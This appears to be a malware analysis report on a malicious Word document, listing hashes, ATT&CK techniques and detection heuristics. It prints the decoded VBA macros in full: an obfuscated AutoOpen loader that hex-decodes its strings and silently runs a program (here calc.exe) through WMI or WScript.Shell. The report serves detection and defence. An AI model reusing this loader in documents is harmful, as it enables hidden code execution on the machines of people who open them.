Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 8313e6da4937b919…

MALICIOUS

Office (OOXML)

17.5 KB Created: 2021-09-18 12:05:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2021-09-24
MD5: c0a8ffedd7026947a68dd380ee1ca6fe SHA-1: 3626feb62f4d4409564b50c15ebba36fc8f90c83 SHA-256: 8313e6da4937b9196e1bd035480ad6f7c4b0578d44cabf6344080c03f5083c09
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains an obfuscated VBA loader within an AutoOpen macro, designed to execute a payload. The script reconstructs the string 'calc.exe' and uses 'WScript.Shell' to execute it, indicating a downloader or initial execution stage. The use of CreateObject and GetObject, along with obfuscated strings, points to a common malware pattern.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2266 bytes
SHA-256: b2e3a45cdc048b114ef78b7d093923c9b0f458b57e375e2aa70efd24b0309773
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
qttjjdgde gvswmypsyhsa("63") & gvswmypsyhsa("616c632e657865")
End Sub
Private Function gvswmypsyhsa(ByVal hkymuxsgmecb As String) As String
Dim zflqyqlcqnjs As Long
For zflqyqlcqnjs = 1 To Len(hkymuxsgmecb) Step 2
gvswmypsyhsa = gvswmypsyhsa & Chr$(Val("&H" & Mid$(hkymuxsgmecb, zflqyqlcqnjs, 2)))
Next zflqyqlcqnjs
End Function


Attribute VB_Name = "cxdhxpepk"
Sub qttjjdgde(ukcmbilfivrxgeom As String)
On Error Resume Next
Err.Clear
wimResult = rcxtszbseayicwafhi(ukcmbilfivrxgeom)
If Err.Number <> 0 Or wimResult <> 0 Then
Err.Clear
iibfkwgo ukcmbilfivrxgeom
End If
On Error GoTo 0
End Sub


Attribute VB_Name = "knrruqxqi"
Sub iibfkwgo(prwuomje As String)
CreateObject(cuqorbkpzgdz("5753637269") & cuqorbkpzgdz("70742e5368656c6c")).Run prwuomje, 0
End Sub
Private Function cuqorbkpzgdz(ByVal nnmmoadxftdy As String) As String
Dim zvpfvsluewtw As Long
For zvpfvsluewtw = 1 To Len(nnmmoadxftdy) Step 2
cuqorbkpzgdz = cuqorbkpzgdz & Chr$(Val("&H" & Mid$(nnmmoadxftdy, zvpfvsluewtw, 2)))
Next zvpfvsluewtw
End Function


Attribute VB_Name = "nonoufquz"
Function rcxtszbseayicwafhi(cmdLine As String) As Integer
Set trnmuhgh = GetObject(asmimxawjihf("77696e6d67") & asmimxawjihf("6d74733a5c5c2e5c726f6f745c63696d7632"))
Set fyikjavsrk = trnmuhgh.Get(asmimxawjihf("57696e") & asmimxawjihf("33325f50726f6365737353746172747570"))
Set svembtfwccvdoyytg = fyikjavsrk.SpawnInstance_
svembtfwccvdoyytg.ShowWindow = 0
Set znmloputexudwz = GetObject(asmimxawjihf("77696e6d676d74733a5c5c2e5c72") & asmimxawjihf("6f6f745c63696d76323a57696e33325f50726f63657373"))
rcxtszbseayicwafhi = znmloputexudwz.Create(cmdLine, Null, svembtfwccvdoyytg, intProcessID)
End Function
Private Function asmimxawjihf(ByVal xkqbfyzivrtp As String) As String
Dim jlormtcknbok As Long
For jlormtcknbok = 1 To Len(xkqbfyzivrtp) Step 2
asmimxawjihf = asmimxawjihf & Chr$(Val("&H" & Mid$(xkqbfyzivrtp, jlormtcknbok, 2)))
Next jlormtcknbok
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15360 bytes
SHA-256: 9d3bfa42abf2d0aa4460afcdbd04396a11aff7038a2a20348f6a0e59e8266ed6

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